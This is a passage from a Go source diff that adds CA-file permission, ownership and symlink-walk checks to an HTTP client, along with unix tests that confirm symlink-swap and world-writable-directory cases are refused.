cached.hash == hash { + touchTransportCacheLocked(abs) + t := cached.transport + transportCacheMu.Unlock() + return t, nil + } + transportCacheMu.Unlock() + + pool, err := parseCAPool(data, abs, label) + if err != nil { + return nil, err + } + transport := http.DefaultTransport.(*http.Transport).Clone() //nolint:errcheck // http.DefaultTransport is always *http.Transport + transport.TLSClientConfig = &tls.Config{MinVersion: tls.VersionTLS12, RootCAs: pool} + transport.MaxIdleConnsPerHost = maxIdleConnsPerHost + transport.Proxy = caAwareProxy + + transportCacheMu.Lock() + defer transportCacheMu.Unlock() + + if cached, ok := transportCache[abs]; ok { + if cached.hash == hash { + // Another goroutine built and cached this exact content while we + // were building ours; reuse theirs. Ours was never assigned to + // any connection, so there is nothing on it to close. + touchTransportCacheLocked(abs) + return cached.transport, nil + } + if cached.seq > mySeq { + // A read that claimed its sequence number AFTER ours already + // landed a different (necessarily newer) hash. Never let a read + // that started earlier clobber a cache entry from one that + // started later just because its content hash differs — the + // file may have been rewritten again between this read's open + // and this lock, and ordering by seq (not mtime) is exactly + // what stays correct under a same-second rewrite. + touchTransportCacheLocked(abs) + return cached.transport, nil + } + // Genuine rotation: close the outgoing transport's idle connections + // so they do not leak, then replace it. + cached.transport.CloseIdleConnections() + } + transportCache[abs] = &cachedTransport{hash: hash, seq: mySeq, transport: transport} + transportProvenance.Store(transport, transportRecord{path: abs, hash: hash}) + touchTransportCacheLocked(abs) + evictOverCapacityLocked() + return transport, nil +} + +// touchTransportCacheLocked moves abs to the most-recently-used end of +// transportCacheOrder. Callers must hold transportCacheMu. +func touchTransportCacheLocked(abs string) { + for i, k := range transportCacheOrder { + if k == abs { + transportCacheOrder = append(transportCacheOrder[:i], transportCacheOrder[i+1:]...) + break + } + } + transportCacheOrder = append(transportCacheOrder, abs) +} + +// evictOverCapacityLocked closes and drops the least-recently-used entries +// until the cache is back within maxCachedTransports. Callers must hold +// transportCacheMu. +func evictOverCapacityLocked() { + for len(transportCacheOrder) > maxCachedTransports { + oldest := transportCacheOrder[0] + transportCacheOrder = transportCacheOrder[1:] + if cached, ok := transportCache[oldest]; ok { + cached.transport.CloseIdleConnections() + delete(transportCache, oldest) + } + } +} + +// caFileReadHookForTest, when non-nil, runs immediately after +// checkCAFilePermissions succeeds and BEFORE the file is opened for reading +// — the exact TOCTOU window the O_NOFOLLOW-open-then-fstat/SameFile guard in +// readCAFile below exists to close. Production never sets it; a test sets it +// to swap the file (or replace it with a symlink) at exactly that point and +// confirms the read is refused rather than silently trusting whatever +// replaced it. +var caFileReadHookForTest func(real string) + +// readCAFile reads path after checking its hygiene (permissions, ownership, +// every symlink hop's containing directory) and confirming that the file it +// actually reads is provably the same one that hygiene check examined, +// returning its content. path must already be absolute; label names the +// setting a refusal should point at. +// +// checkCAFilePermissions resolves path to a real, non-symlink file (checking +// every symlink hop's own containing directory along the way, not just the +// final target's) and returns both that real path and the os.FileInfo it +// stat'd for it. Between that check and this function's own open, an +// attacker who can still write somewhere in the resolved path could swap the +// leaf out from under it; this function's own open uses O_NOFOLLOW — so a +// swap for a symlink is refused outright — and then fstats the opened +// descriptor and compares it against the checked FileInfo with os.SameFile, +// so a swap for a DIFFERENT regular file (same name, same directory) is also +// caught before a single byte is trusted: reading is always from the fd just +// opened, never from a second, independent path lookup. +func readCAFile(path, label string) ([]byte, error) { + real, checked, err := checkCAFilePermissions(path) + if err != nil { + return nil, fmt.Errorf("%s %q: %w", label, path, err) + } + + if caFileReadHookForTest != nil { + caFileReadHookForTest(real) + } + + // #nosec G304 -- path is operator-provided configuration + // (BEADS_HTTP_CA_FILE, or the per-user http_target.json sidecar written by + // `bd connect --ca-file`), not attacker-controlled input; its permissions + // were just checked above, and openCAFileNoFollow additionally refuses to + // open real at all if it has become a symlink since that check (unix). + f, err := openCAFileNoFollow(real) + if err != nil { + return nil, fmt.Errorf("%s %q: %w", label, path, err) + } + defer f.Close() //nolint:errcheck // read-only fd; nothing to flush on close + + opened, err := f.Stat() + if err != nil { + return nil, fmt.Errorf("%s %q: %w", label, path, err) + } + if !os.SameFile(checked, opened) { + return nil, fmt.Errorf("%s %q: changed between the permission check and the read; refusing rather than trust whatever replaced it", label, path) + } + + data, err := io.ReadAll(io.LimitReader(f, maxCAFileBytes+1)) + if err != nil { + return nil, fmt.Errorf("%s %q: %w", label, path, err) + } + if len(data) > maxCAFileBytes { + return nil, fmt.Errorf("%s %q: larger than %d bytes; a CA bundle this size is almost certainly the wrong file", label, path, maxCAFileBytes) + } + return data, nil +} + +// parseCAPool decodes data as a sequence of PEM blocks and requires EVERY +// block to be a well-formed CERTIFICATE. A block of any other type, or one +// that fails to parse, refuses the WHOLE file rather than silently keeping +// whatever did parse — crypto/x509.CertPool.AppendCertsFromPEM's behavior, +// which this deliberately does not use. A CA file is small, operator-owned +// configuration, so a block it cannot vouch for (a private key pasted in by +// accident, a corrupted certificate) is far more likely a mistake than an +// intentional block meant to be skipped, and accepting the file anyway would +// trust a pool the operator never actually reviewed. +// +// A single LEAF certificate — no CA:true, no key-cert-sign usage — still +// works here: TLS root-of-trust verification only requires the chain to +// terminate at a certificate in RootCAs, so a file holding just the server's +// own leaf is a valid way to pin that one certificate rather than a CA. It is +// operationally brittle (it must be replaced on every renewal), but this +// package does not refuse it: pinning is a legitimate, if narrower, use of +// this same mechanism. +func parseCAPool(data []byte, path, label string) (*x509.CertPool, error) { + pool := x509.NewCertPool() + rest := data + n := 0 + for { + var block *pem.Block + block, rest = pem.Decode(rest) + if block == nil { + break + } + n++ + if block.Type != "CERTIFICATE" { + return nil, fmt.Errorf("%s %q: PEM block %d is %q, not CERTIFICATE; only certificates (a CA, or a single leaf to pin) belong in this file", label, path, n, block.Type) + } + cert, err := x509.ParseCertificate(block.Bytes) + if err != nil { + return nil, fmt.Errorf("%s %q: PEM block %d does not parse as a certificate: %w", label, path, n, err) + } + pool.AddCert(cert) + } + if n == 0 { + return nil, fmt.Errorf("%s %q: no PEM certificates found", label, path) + } + return pool, nil +} + +// caAwareProxy is the CA-scoped transport's Proxy func. For a plain http:// +// proxy it behaves exactly like http.ProxyFromEnvironment: the destination +// host's own TLS is still verified end to end against this transport's +// narrow RootCAs, so routing through a plaintext-to-the-proxy CONNECT tunnel +// changes nothing about what gets trusted. +// +// It refuses an https:// proxy instead of dialing it. The CONNECT to the +// proxy ITSELF would be a TLS handshake made with this same TLSClientConfig, +// so the proxy's own certificate — issued by whatever CA actually vouches for +// it, almost never the single private CA this transport was scoped to — would +// be checked against that narrow pool and (correctly) fail, or, worse, if it +// happened to validate, Proxy-Authorization would be sent across a connection +// verified by the wrong trust anchor. Refusing up front is clearer than +// either outcome. +// +// This reads the proxy configuration via golang.org/x/net/http/httpproxy +// directly rather than http.ProxyFromEnvironment: the latter caches the +// environment the first time ANY transport in the process resolves a proxy, +// behind a package-level sync.Once, which would make this refusal depend on +// unrelated dial or test ordering. httpproxy.FromEnvironment reads the +// environment fresh on every call. +func caAwareProxy(req *http.Request) (*url.URL, error) { + proxyURL, err := httpproxy.FromEnvironment().ProxyFunc()(req.URL) + if err != nil { + return nil, err + } + if proxyURL != nil && proxyURL.Scheme == "https" { + return nil, fmt.Errorf( + "refusing to reach %s through an https:// proxy (%s) while a CA is configured for this target: the proxy's own TLS would be checked against that CA instead of the system roots that actually vouch for it; use an http:// proxy instead (the destination's TLS is still verified against the configured CA through it), or exclude this host via NO_PROXY", + req.URL.Host, proxyURL.Redacted()) + } + return proxyURL, nil +} diff --git a/internal/httpclient/ca_permissions_other.go b/internal/httpclient/ca_permissions_other.go new file mode 100644 index 000000000..400942aeb --- /dev/null +++ b/internal/httpclient/ca_permissions_other.go @@ -0,0 +1,61 @@ +//go:build !unix + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/ca_permissions_other.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "fmt" + "os" +) + +// allowInsecureCAFilePermissionsEnv is the explicit opt-in required to use a +// CA file on a platform this package cannot vet ownership/writability on at +// all. This feature (host-scoped CA trust) is new, not a long-depended-on +// one migrating to a stricter default, so failing closed here by default — +// rather than silently accepting whatever ACLs happen to protect the file — +// is the safe choice: an operator who has reviewed their own platform's +// equivalent protection can set this to proceed anyway, but nobody is +// silently downgraded from the unix build's real ownership/writability +// checks without saying so. +const allowInsecureCAFilePermissionsEnv = "BEADS_ALLOW_INSECURE_CA_FILE_PERMISSIONS" + +// checkCAFilePermissions has no ownership/writability check to perform at +// all on a non-unix platform: filesystem permissions there use ACLs rather +// than Unix mode bits, and there is no uid/gid ownership model this package +// knows how to interpret. Rather than silently treating "cannot check" the +// same as "checked and fine" (this package's earlier behavior), it refuses +// the CA file outright unless the operator has explicitly opted in via +// allowInsecureCAFilePermissionsEnv — a CA file this package cannot vet is +// exactly the swap-in-a-writable-location risk the unix build's checks +// exist to catch, and a silent skip would be indistinguishable from "this +// platform is just as safe", which is not a claim this package can make. +// +// It still refuses an obviously wrong path (a directory) even with the +// opt-in set. +func checkCAFilePermissions(path string) (string, os.FileInfo, error) { + info, err := os.Stat(path) + if err != nil { + return "", nil, err + } + if info.IsDir() { + return "", nil, fmt.Errorf("is a directory, not a PEM file") + } + if os.Getenv(allowInsecureCAFilePermissionsEnv) == "" { + return "", nil, fmt.Errorf( + "refusing to use a CA file on this platform: it has no unix-style ownership/writability check to vet %q with, and %s is not set; set it to proceed anyway once you have verified this file (and every containing directory) cannot be written by anyone other than an administrator", + path, allowInsecureCAFilePermissionsEnv) + } + return path, info, nil +} + +// openCAFileNoFollow is a plain open on non-unix platforms: O_NOFOLLOW is a +// unix-specific open flag with no portable equivalent this package can rely +// on here, and checkCAFilePermissions above already refuses to reach this +// point at all unless the operator explicitly opted in via +// allowInsecureCAFilePermissionsEnv, accepting that this platform's TOCTOU +// and symlink protections are best-effort at most. +func openCAFileNoFollow(real string) (*os.File, error) { + return os.Open(real) //nolint:gosec // G304: operator-provided config path, hygiene-gated above +} diff --git a/internal/httpclient/ca_permissions_unix.go b/internal/httpclient/ca_permissions_unix.go new file mode 100644 index 000000000..87dfb1a43 --- /dev/null +++ b/internal/httpclient/ca_permissions_unix.go @@ -0,0 +1,403 @@ +//go:build unix + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/ca_permissions_unix.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "bufio" + "fmt" + "os" + "os/user" + "path/filepath" + "strconv" + "strings" + "syscall" +) + +// caFileStat is what checkCAFilePermissions needs from a stat call, factored +// out of os.Lstat so a test can inject an ownership scenario (a leaf or +// ancestor owned by a uid other than root or the running one, or a +// root-owned 0755/0644 layout) that this sandbox cannot construct with real +// files — see statCAPathFn. +type caFileStat struct { + mode os.FileMode + uid uint32 + gid uint32 + // info is the underlying os.FileInfo the real statCAPathFn Lstat'd. It is + // nil for a test-injected caFileStat, which is fine: only the leaf's + // info (returned from checkCAFilePermissions itself) is ever consulted + // for os.SameFile, and every test that injects synthetic ownership goes + // through checkCAFilePermissions itself rather than reading this field + // directly. + info os.FileInfo +} + +// statCAPathFn is swappable so a test can simulate ownership scenarios real +// files in the test sandbox cannot: a path owned by a uid other than root or +// the running one, or a root-owned layout on a host where every real file is +// owned by the test's own uid. It never follows the final path component +// (os.Lstat), so checkCAFilePermissions can detect a symlink at each hop +// itself rather than the kernel silently resolving it away. +var statCAPathFn = func(path string) (caFileStat, error) { + info, err := os.Lstat(path) + if err != nil { + return caFileStat{}, err + } + st, ok := info.Sys().(*syscall.Stat_t) + if !ok { + // Best effort: no ownership info available, only the mode. + return caFileStat{mode: info.Mode(), info: info}, nil + } + return caFileStat{mode: info.Mode(), uid: st.Uid, gid: st.Gid, info: info}, nil +} + +// openCAFileNoFollow opens real for reading with O_NOFOLLOW: real is what +// checkCAFilePermissions just confirmed is NOT itself a symlink, so if the +// open fails with ELOOP (or any other O_NOFOLLOW rejection) something +// replaced it with a symlink in the window between that check and this call, +// and the read must refuse rather than silently follow the swap. +func openCAFileNoFollow(real string) (*os.File, error) { + fd, err := syscall.Open(real, syscall.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_CLOEXEC, 0) + if err != nil { + return nil, fmt.Errorf("open (no-follow): %w", err) + } + return os.NewFile(uintptr(fd), real), nil +} + +// isUserPrivateGroupFn is swappable so a test can simulate a "genuinely +// shared" group (finding 4's refusal case) without needing a second real +// POSIX group on the machine running the test. +var isUserPrivateGroupFn = isUserPrivateGroup + +// userLookupIDFn and userLookupGroupIDFn are swappable so a test can drive +// isUserPrivateGroup's OWN name-comparison line (g.Name != u.Username) +// through both arms directly — calling isUserPrivateGroup itself, not the +// isUserPrivateGroupFn seam above, which would skip over that exact +// comparison rather than exercise it. The real os/user package has no way to +// manufacture a uid/gid/username combination on demand, so without this seam +// a test is stuck with whatever single account the host running it happens +// to have. +var ( + userLookupIDFn = user.LookupId + userLookupGroupIDFn = user.LookupGroupId +) + +// groupHasNoSupplementaryMembersFn is swappable so a test can simulate +// membership scenarios (a group with an added member; a group whose +// membership cannot be determined) that this sandbox's real /etc/group may +// not exhibit either way. The real implementation reads /etc/group directly: +// Go's os/user package has no portable API for "list this group's +// supplementary members" (LookupGroup/LookupGroupId return only id and +// name), and getgrgid_r's own member list is what /etc/group's fourth field +// carries on every platform this build tag covers. +var groupHasNoSupplementaryMembersFn = groupHasNoSupplementaryMembers + +// isUserPrivateGroup reports the Debian/OpenSSH "user private group" +// convention: uid's own primary group is gid, that group's name is exactly +// uid's username, AND the group lists no OTHER member in /etc/group. Under +// Ubuntu's default user-private-groups scheme this is true for every +// ordinary account, which is what makes a umask-002 ~/.config/bd (0775 +// directories, 0664 files) exactly as private as a umask-022 layout would +// be — group-write only reaches a group whose sole member, by convention, is +// the file's own owner. A file whose group is some OTHER group the owner +// merely belongs to (a real shared group, "docker", "sudo") does not get +// this exemption, whatever its name looks like. +// +// Root (uid 0) never qualifies, regardless of what the name/membership +// checks below would otherwise conclude: gid 0 is commonly named "root" too, +// so a naive name comparison would treat root's own primary group as +// "private" — but root's group is a system convention, not evidence that no +// other account can write through it, and CA hygiene should never lean on +// that assumption. +func isUserPrivateGroup(uid, gid uint32) bool { + if uid == 0 { + return false + } + u, err := userLookupIDFn(strconv.FormatUint(uint64(uid), 10)) + if err != nil { + return false + } + if u.Gid != strconv.FormatUint(uint64(gid), 10) { + return false + } + g, err := userLookupGroupIDFn(strconv.FormatUint(uint64(gid), 10)) + if err != nil { + return false + } + if g.Name != u.Username { + return false + } + return groupHasNoSupplementaryMembersFn(gid) +} + +// groupHasNoSupplementaryMembers reports whether gid's own /etc/group entry +// lists no supplementary members by name — the actual membership half of the +// user-private-group convention, beyond gid/name matching alone: a group +// literally named after its "owner" that other accounts have ALSO been added +// to (in /etc/group's fourth, comma-separated field) is not private, +// whatever its name suggests. When /etc/group cannot be read, or gid is not +// found in it at all, this refuses (returns false) rather than assuming the +// group is private: a hygiene check that cannot positively confirm isolation +// must not grant the exemption that isolation is the whole justification +// for. +func groupHasNoSupplementaryMembers(gid uint32) bool { + f, err := os.Open("/etc/group") + if err != nil { + return false + } + defer f.Close() //nolint:errcheck // read-only fd + + gidStr := strconv.FormatUint(uint64(gid), 10) + scanner := bufio.NewScanner(f) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + fields := strings.Split(line, ":") + if len(fields) < 4 || fields[2] != gidStr { + continue + } + members := strings.TrimSpace(fields[3]) + return members == "" + } + if err := scanner.Err(); err != nil { + return false + } + return false // gid not found in /etc/group: cannot confirm -> refuse +} + +// maxCASymlinkHops bounds how many symlink hops checkCAFilePermissions will +// follow before refusing outright, guarding against a symlink loop (or an +// adversarial chain) turning this check into an unbounded walk. +const maxCASymlinkHops = 40 + +// checkCAFilePermissions refuses a CA file, or any ancestor directory up to +// /, that a party other than its owner (root, or the uid running this +// process) could have written — the same hygiene ssh requires of +// known_hosts and authorized_keys. A CA file REPLACES the entire trust root +// for a target; anyone who can write it, or swap it out from a writable +// ancestor, can make this process trust a CA of their choosing, a full +// impersonation of that target. +// +// path is resolved ONE SYMLINK HOP AT A TIME rather than through a single +// filepath.EvalSymlinks call: EvalSymlinks would resolve the whole chain +// silently, and the containing directory of any symlink component along the +// ORIGINAL path is never itself examined — a symlink sitting in a +// world-writable directory, pointing at an otherwise pristine target, would +// pass unnoticed, because only the target's own ancestors would ever be +// checked. This walk instead stats each path with Lstat, and whenever a hop +// turns out to be a symlink, checks THAT symlink's own containing directory +// (the same ownership/writability rules as any other ancestor) before +// following it to wherever it points. +// +// On success it returns the fully resolved, non-symlink real path and the +// os.FileInfo checkCAFilePermissions stat'd for it, so the caller (readCAFile) +// can open that exact path and compare what it opened against what was +// checked here — closing the gap between this function's stat and a +// separate, independent open of the same path string. +// +// Every ancestor directory up to / is checked, not just the immediate +// parent: a writable grandparent lets an attacker rename the parent out of +// the way and replace it, which a parent-only check would never see. A +// sticky ancestor directory (mode +t, e.g. /tmp) is exempt from the +// writability check ONLY: anyone may create an entry there, but only that +// entry's own owner may remove or rename it, so a sticky world-writable +// directory does not let another user replace this file's directory entry +// from above — but the directory's OWNER must still be root or the running +// euid, exactly as for any other ancestor; sticky is not a license to be +// owned by anyone. The leaf file itself gets no exemption at all, sticky bit +// or not: sticky has no protective meaning for a file that is not a +// directory, and checkOwnerAndMode's own isDir gate means this exemption can +// never reach the leaf regardless of what bits its mode happens to carry. +// +// Group-write is refused unless the group is the owner's OWN user-private +// group (isUserPrivateGroup) — see its doc. World-write is never allowed, +// for the leaf file or any non-sticky ancestor. +func checkCAFilePermissions(path string) (string, os.FileInfo, error) { + return checkCAFilePermissionsHop(path, 0) +} + +func checkCAFilePermissionsHop(path string, hops int) (string, os.FileInfo, error) { + if hops > maxCASymlinkHops { + return "", nil, fmt.Errorf("too many levels of symbolic links resolving %s", path) + } + + fi, err := statCAPathFn(path) + if err != nil { + return "", nil, err + } + + if fi.mode&os.ModeSymlink != 0 { + dir := filepath.Dir(path) + if err := checkAncestors(dir); err != nil { + return "", nil, err + } + target, err := readLinkTarget(path, dir) + if err != nil { + return "", nil, err + } + return checkCAFilePermissionsHop(target, hops+1) + } + + if fi.mode.IsDir() { + return "", nil, fmt.Errorf("is a directory, not a PEM file") + } + if err := checkOwnerAndMode(path, fi, false); err != nil { + return "", nil, err + } + if err := checkAncestors(filepath.Dir(path)); err != nil { + return "", nil, err + } + return path, fi.info, nil +} + +// checkAncestors walks every ancestor directory of dir up to /, applying +// checkOwnerAndMode to each. An ancestor that is itself a symlink is +// followed the same way checkCAFilePermissionsHop follows the leaf: the +// symlink entry's OWN containing directory (and everything above it) is +// checked BEFORE following it, and the walk then continues separately from +// its resolved target. hops bounds the combined recursion (both "following +// an ancestor symlink" and "walking up one more parent" consume the same +// budget) against a symlink loop among ancestors. +func checkAncestors(dir string) error { + return checkAncestorsHop(dir, 0) +} + +func checkAncestorsHop(dir string, hops int) error { + if hops > maxCASymlinkHops { + return fmt.Errorf("too many levels of symbolic links resolving ancestor directories of %s", dir) + } + + dfi, err := statCAPathFn(dir) + if err != nil { + return fmt.Errorf("stat %s: %w", dir, err) + } + + if dfi.mode&os.ModeSymlink != 0 { + parentOfLink := filepath.Dir(dir) + if err := checkAncestorsHop(parentOfLink, hops+1); err != nil { + return err + } + target, err := readLinkTarget(dir, parentOfLink) + if err != nil { + return err + } + return checkAncestorsHop(target, hops+1) + } + + if err := checkOwnerAndMode(dir, dfi, true); err != nil { + return err + } + parent := filepath.Dir(dir) + if parent == dir { + return nil + } + return checkAncestorsHop(parent, hops+1) +} + +// readLinkTarget reads the symlink at link, whose containing directory dir +// has already passed checkAncestors, and returns the path it points to. A +// relative target is joined onto dir's PHYSICAL path, not its text: the +// kernel resolves the target from the directory the link really lives in, so +// when dir itself runs through a symlinked directory, a lexical +// filepath.Join(dir, target) collapses any ".." in the target against the +// wrong parent (a/link -> b/c with b/c/x -> ../y names b/y, never a/y). +// Resolving dir in one EvalSymlinks call is safe here because every symlink +// along it was already checked hop by hop on the way in. +// +// A target with a ".." after any other component is refused outright, +// relative or absolute. The kernel takes that ".." from wherever the +// component before it really leads, through that component's own symlinks, +// while filepath.Join and the walk's own filepath.Dir drop the pair +// textually, so the directories the kernel actually passes through are never +// checked: with x/d -> ../e/s, x/L -> d/../y names e/y, not x/y, and an +// absolute x/L -> /r/x/d/../y is even opened at /r/e/y while only /r/x and +// its ancestors are checked, never /r/e. A leading run of ".." is kept: it is +// taken from dir's physical path, which has no symlinks left to take it +// through. +func readLinkTarget(link, dir string) (string, error) { + target, err := os.Readlink(link) + if err != nil { + return "", fmt.Errorf("readlink %s: %w", link, err) + } + if hasInteriorDotDot(target) { + return "", fmt.Errorf( + `symlink %s points at %q, whose ".." follows another component; the kernel resolves that ".." through the earlier component's own symlinks, which this check would skip, so rewrite the link without the inner ".."`, + link, target) + } + if filepath.IsAbs(target) { + return target, nil + } + physical, err := filepath.EvalSymlinks(dir) + if err != nil { + return "", fmt.Errorf("resolve %s: %w", dir, err) + } + return filepath.Join(physical, target), nil +} + +// hasInteriorDotDot reports whether target has a ".." component after some +// other component, setting aside "." and the empty components a leading or +// doubled "/" leaves: the shape readLinkTarget refuses. +func hasInteriorDotDot(target string) bool { + named := false + for _, elem := range strings.Split(target, "/") { + switch elem { + case "", ".": + case "..": + if named { + return true + } + default: + named = true + } + } + return false +} + +// checkOwnerAndMode applies the ownership and writability rules to one path +// (the leaf file, or one ancestor directory) already stat'd into fi. +// +// The owner check ALWAYS runs, sticky directory or not: sticky only changes +// who may remove or rename an ENTRY inside the directory, not who owns the +// directory itself, so exempting a sticky directory from the owner check +// too would accept a sticky directory owned by neither root nor the running +// euid — exactly the case F3 flags. Only the mode/writability check below is +// ever skipped for sticky, and only for a directory: isDir is false for +// every call on the leaf file, so the leaf can never reach that exemption +// regardless of what mode bits it happens to carry. +func checkOwnerAndMode(p string, fi caFileStat, isDir bool) error { + noun := "file" + if isDir { + noun = "directory" + } + + euid := uint32(os.Geteuid()) + if fi.uid != 0 && fi.uid != euid { + return fmt.Errorf( + "%s %s is owned by uid %d, neither root nor the uid running this process (%d); an owner who is neither could have written it to a CA this process should not trust", + noun, p, fi.uid, euid) + } + + if isDir && fi.mode&os.ModeSticky != 0 { + // Mode/writability check exempted: anyone may create an entry in a + // sticky directory, but only that entry's own owner may remove or + // rename it, so a sticky world-writable directory does not let + // another user replace this file's directory entry from above. + // Ownership was already checked unconditionally above. + return nil + } + + mode := fi.mode.Perm() + if mode&0o002 != 0 { + return fmt.Errorf("%s %s has mode %04o, world-writable; chmod o-w it", noun, p, mode) + } + if mode&0o020 != 0 && !isUserPrivateGroupFn(fi.uid, fi.gid) { + return fmt.Errorf( + "%s %s has mode %04o, group-writable by a group that is not its owner's own user-private group; chmod g-w it, or move it under a group whose only member is the owner", + noun, p, mode) + } + return nil +} diff --git a/internal/httpclient/ca_permissions_unix_test.go b/internal/httpclient/ca_permissions_unix_test.go new file mode 100644 index 000000000..cb50ac14d --- /dev/null +++ b/internal/httpclient/ca_permissions_unix_test.go @@ -0,0 +1,554 @@ +//go:build unix + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/ca_permissions_unix_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "os" + "os/user" + "path/filepath" + "strconv" + "strings" + "testing" +) + +// TestCheckCAFilePermissionsRefusesSymlinkIntoWorldWritableDir is finding 3: +// a symlink whose own directory is fine but whose REAL target sits inside a +// world-writable directory must be refused — checking only the symlink's own +// location would miss the swap this check exists to catch. +func TestCheckCAFilePermissionsRefusesSymlinkIntoWorldWritableDir(t *testing.T) { + realDir := t.TempDir() + if err := os.Chmod(realDir, 0o777); err != nil { + t.Fatalf("chmod real dir 0777: %v", err) + } + realPath := filepath.Join(realDir, "ca.pem") + if err := os.WriteFile(realPath, []byte("x"), 0o600); err != nil { + t.Fatalf("write real file: %v", err) + } + + linkDir := t.TempDir() + if err := os.Chmod(linkDir, 0o700); err != nil { + t.Fatalf("chmod link dir: %v", err) + } + link := filepath.Join(linkDir, "ca.pem") + if err := os.Symlink(realPath, link); err != nil { + t.Fatalf("symlink: %v", err) + } + + if _, _, err := checkCAFilePermissions(link); err == nil { + t.Fatal("checkCAFilePermissions accepted a symlink into a world-writable directory") + } +} + +// TestCheckCAFilePermissionsRefusesSymlinkItselfInWorldWritableDir is finding +// 2's complement to TestCheckCAFilePermissionsRefusesSymlinkIntoWorldWritableDir +// above: here the symlink's TARGET is perfectly fine (its own directory is +// 0700), but the symlink ENTRY itself sits inside a world-writable directory. +// Only checking the resolved target's ancestors (what a single +// filepath.EvalSymlinks call would do) would miss this: anyone could unlink +// and replace the symlink entry itself, in the world-writable linkDir, to +// point somewhere else entirely. checkCAFilePermissionsHop must check the +// symlink's OWN containing directory before following it. +func TestCheckCAFilePermissionsRefusesSymlinkItselfInWorldWritableDir(t *testing.T) { + linkDir := t.TempDir() + if err := os.Chmod(linkDir, 0o777); err != nil { + t.Fatalf("chmod link dir 0777: %v", err) + } + + realDir := t.TempDir() + if err := os.Chmod(realDir, 0o700); err != nil { + t.Fatalf("chmod real dir: %v", err) + } + realPath := filepath.Join(realDir, "ca.pem") + if err := os.WriteFile(realPath, []byte("x"), 0o600); err != nil { + t.Fatalf("write real file: %v", err) + } + + link := filepath.Join(linkDir, "ca.pem") + if err := os.Symlink(realPath, link); err != nil { + t.Fatalf("symlink: %v", err) + } + + if _, _, err := checkCAFilePermissions(link); err == nil { + t.Fatal("checkCAFilePermissions accepted a symlink sitting in a world-writable, non-sticky directory even though its target is fine") + } +} + +// TestCheckCAFilePermissionsResolvesRelativeLinkAgainstPhysicalDir pins the +// walk to the kernel's reading of a relative symlink target: with a/link -> +// ../b/c and b/c/x -> ../y, the path a/link/x names b/y, because ".." is taken +// from the directory x really lives in. A lexical join collapses it against +// a/link instead and lands on a/y; the hygienic decoy planted there makes that +// mistake a wrong-file read rather than just a refusal. +func TestCheckCAFilePermissionsResolvesRelativeLinkAgainstPhysicalDir(t *testing.T) { + root := secureTempDir(t) + for _, d := range []string{"a", "b", filepath.Join("b", "c")} { + if err := os.Mkdir(filepath.Join(root, d), 0o700); err != nil { + t.Fatalf("mkdir %s: %v", d, err) + } + } + realPath := filepath.Join(root, "b", "y") + if err := os.WriteFile(realPath, []byte("real"), 0o600); err != nil { + t.Fatalf("write real file: %v", err) + } + if err := os.WriteFile(filepath.Join(root, "a", "y"), []byte("decoy"), 0o600); err != nil { + t.Fatalf("write decoy file: %v", err) + } + if err := os.Symlink(filepath.Join("..", "b", "c"), filepath.Join(root, "a", "link")); err != nil { + t.Fatalf("symlink a/link: %v", err) + } + if err := os.Symlink(filepath.Join("..", "y"), filepath.Join(root, "b", "c", "x")); err != nil { + t.Fatalf("symlink b/c/x: %v", err) + } + path := filepath.Join(root, "a", "link", "x") + + got, _, err := checkCAFilePermissions(path) + if err != nil { + t.Fatalf("checkCAFilePermissions(%s): %v", path, err) + } + want, err := filepath.EvalSymlinks(realPath) + if err != nil { + t.Fatalf("EvalSymlinks(%s): %v", realPath, err) + } + if got != want { + t.Errorf("checkCAFilePermissions resolved %s to %s, want %s", path, got, want) + } + data, err := readCAFile(path, "ca_file") + if err != nil { + t.Fatalf("readCAFile(%s): %v", path, err) + } + if string(data) != "real" { + t.Errorf("readCAFile(%s) read %q, want the file the kernel names (%q)", path, data, "real") + } +} + +// TestReadCAFileRefusesLinkTargetWithInteriorDotDot pins readLinkTarget's +// refusal of a target whose ".." follows another component. With x/d -> +// ../evil/sub, the kernel resolves d/.. to evil, a world-writable directory +// the walk refuses when it is named directly, but a textual collapse never +// looks at d: the relative leaf link then reads the hygienic decoy at x/y, and +// the other three shapes read the file inside evil without evil ever being +// checked. The targets are spelled as strings because filepath.Join would +// clean the ".." away. +func TestReadCAFileRefusesLinkTargetWithInteriorDotDot(t *testing.T) { + root := secureTempDir(t) + evil := filepath.Join(root, "evil") + x := filepath.Join(root, "x") + for _, d := range []string{evil, filepath.Join(evil, "sub"), filepath.Join(evil, "dir"), x, filepath.Join(x, "dir")} { + if err := os.Mkdir(d, 0o700); err != nil { + t.Fatalf("mkdir %s: %v", d, err) + } + } + if err := os.Chmod(evil, 0o777); err != nil { + t.Fatalf("chmod evil 0777: %v", err) + } + for path, content := range map[string]string{ + filepath.Join(evil, "y"): "evil", + filepath.Join(evil, "dir", "y"): "evil", + filepath.Join(x, "y"): "decoy", + filepath.Join(x, "dir", "y"): "decoy", + } { + if err := os.WriteFile(path, []byte(content), 0o600); err != nil { + t.Fatalf("write %s: %v", path, err) + } + } + if err := os.Symlink(filepath.Join("..", "evil", "sub"), filepath.Join(x, "d")); err != nil { + t.Fatalf("symlink x/d: %v", err) + } + if _, err := readCAFile(filepath.Join(evil, "y"), "ca_file"); err == nil { + t.Fatal("readCAFile accepted a file in a world-writable directory named directly, so the cases below prove nothing") + } + + for _, tc := range []struct{ name, link, target, path string }{ + {"relative leaf", "L1", "d/../y", "L1"}, + {"absolute leaf", "L2", x + "/d/../y", "L2"}, + {"relative ancestor", "L3", "d/../dir", "L3/y"}, + {"absolute ancestor", "L4", x + "/d/../dir", "L4/y"}, + } { + t.Run(tc.name, func(t *testing.T) { + if err := os.Symlink(tc.target, filepath.Join(x, tc.link)); err != nil { + t.Fatalf("symlink %s: %v", tc.link, err) + } + path := filepath.Join(x, tc.path) + data, err := readCAFile(path, "ca_file") + if err == nil { + t.Fatalf("readCAFile(%s) through %q read %q, want a refusal", path, tc.target, data) + } + if !strings.Contains(err.Error(), `whose ".." follows another component`) { + t.Errorf("readCAFile(%s) through %q: %v, want the interior \"..\" refusal", path, tc.target, err) + } + }) + } +} + +// 